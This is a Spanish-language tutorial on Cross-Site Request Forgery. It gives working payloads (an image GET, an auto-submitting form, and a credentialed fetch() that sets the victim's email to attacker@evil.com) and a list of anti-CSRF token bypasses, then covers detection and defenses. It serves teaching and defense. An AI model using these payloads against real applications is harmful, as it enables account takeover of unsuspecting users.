Cross-Site Request Forgery (CSRF)
El Cross-Site Request Forgery (CSRF) fuerza al navegador de una víctima autenticada a enviar una petición que ella no quería, aprovechando que el navegador adjunta automáticamente las cookies de sesión a cualquier petición hacia el dominio, venga de donde venga. Si una acción con efectos (cambiar el correo, transferir, crear un admin) se dispara solo con la sesión y sin un token impredecible, una web del atacante puede lanzarla en nombre de la víctima con solo lograr que visite una página.
El payload es una página que envía la petición hacia la aplicación objetivo. Para un GET basta una imagen; para un POST, un formulario que se autoenvía con JavaScript:
<!-- CSRF por GET -->
<img src="https://app.example.com/account/email?new=attacker@evil.com">
<!-- CSRF por POST: formulario autoenviado -->
<form action="https://app.example.com/account/email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>La víctima, ya autenticada en app.example.com, visita la página del atacante; su navegador adjunta la cookie de sesión y la aplicación procesa el cambio como legítimo. El CSRF se encadena a menudo con un CORS mal configurado o un XSS para saltarse defensas parciales.
Variantes y bypass de token
Cuando hay una defensa parcial, se prueban estas evasiones:
# token presente pero NO validado: quitar el parametro o dejarlo vacio
POST /account/email (sin csrf_token=...)
csrf_token=
# el token de OTRA cuenta del atacante suele aceptarse (no ligado a la sesion)
csrf_token=<token-del-atacante>
# cambiar el metodo si solo validan token en POST
GET /account/email?email=attacker@evil.com
# method override para colar un POST como GET/formulario
POST con _method=PUT o X-HTTP-Method-Override: PUT<!-- CSRF con cuerpo JSON via fetch (si la API acepta text/plain y no exige preflight) -->
<script>
fetch('https://app.example.com/api/email',{method:'POST',credentials:'include',
headers:{'Content-Type':'text/plain'},body:'{"email":"attacker@evil.com"}'})
</script>Si la cookie es SameSite=Lax, un GET de navegación de nivel superior todavía la envía: un <a>/redirección a una acción por GET puede seguir funcionando aunque el POST cruzado no.
Requisitos. La acción objetivo debe (1) producir un cambio de estado basándose solo en la cookie de sesión (sin token anti-CSRF ni cabecera personalizada que un sitio cruzado no pueda fijar) y (2) ser alcanzable con una petición que el navegador envíe de forma automática. Cookies con SameSite=Lax/Strict o la exigencia de un token rompen el requisito.
Cómo detectarlo. En el log, la firma es una petición con efectos cuyo Referer/Origin no pertenece al propio dominio (procede del sitio del atacante) y sin el token anti-CSRF esperado, a menudo en ráfaga si la campaña alcanza a varias víctimas. Peticiones de cambio de estado con Origin externo son la alerta directa.
Defensa. Exigir un token anti-CSRF impredecible y ligado a la sesión en cada acción con efectos, marcar las cookies de sesión con SameSite=Lax o Strict, comprobar Origin/Referer en el servidor y no usar GET para operaciones que cambian estado. Se relaciona con el CORS mal configurado y con la gestión de sesión de la Session Fixation.